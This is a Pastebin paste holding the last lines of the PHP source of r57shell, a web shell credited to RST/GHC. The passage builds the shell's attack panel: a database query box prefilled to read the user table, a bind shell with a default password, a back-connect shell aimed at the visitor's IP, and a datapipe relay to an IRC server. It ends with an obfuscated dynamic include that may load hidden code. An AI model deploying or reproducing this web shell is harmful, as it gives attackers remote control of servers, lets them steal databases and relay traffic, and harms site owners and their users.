  2267. echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  2268. echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  2269. }
  2270. if(!$safe_mode&&!$windows){
  2271. echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2272. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  2273. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
  2274. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
  2275. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2276. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  2277. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2278. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  2279. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  2280. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  2281. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2282. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  2283. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2284. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  2285. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
  2286. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  2287. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  2288. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  2289. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  2290. echo $te."</td>".$fe."</tr></div></table>";
  2291. }
  2292. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f;
  2293. include ($a.$b.$c);
  2294. ?>
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top